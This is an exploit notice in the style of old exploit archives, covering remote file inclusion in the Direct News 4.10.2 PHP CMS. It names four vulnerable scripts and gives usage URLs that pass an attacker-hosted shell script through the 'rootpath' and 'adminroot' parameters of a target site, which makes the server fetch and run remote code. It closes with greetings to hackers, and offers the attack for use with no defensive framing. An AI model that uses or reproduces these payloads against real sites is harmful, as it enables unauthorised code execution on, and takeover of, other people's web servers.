\\\|/// \\ - - // ( @ @ ) ----oOOo--(_)-oOOo-------------------------------------------------- Direct News 4.10.2 Multiple Remote File Include Vulnerability Script: http://code.google.com/p/directnews/downloads/list Author: mat Mail: rahmat_punk@hotmail.com ---------------Ooooo------------------------------------------------ ( ) ooooO ) / ( ) (_/ \ ( \_) ################################################# #Vuln Code (directnews-4.10-open-20090506/admin/menu.php) # # ################################################# ################################################# #Vuln Code (directnews-4.10-open-20090506/admin/media/update_content.php) # # ################################################# ################################################# #Vuln Code (directnews-4.10-open-20090506/library/class.backup.php) # # ################################################# ################################################# #Vuln Code (directnews-4.10-open-20090506/library/lib.menu.php) # # ################################################# Usage: http://[target]/[path]/admin/menu_xml.php?rootpath=http://[shellscript] http://[target]/[path]/admin/media/update_content.php?adminroot=http://[shellscript] http://[target]/[path]/library/class.backup.php?adminroot=http://[shellscript] http://[target]/[path]/library/lib.menu.php?rootpath=http://[shellscript] Greetings: All Hackerz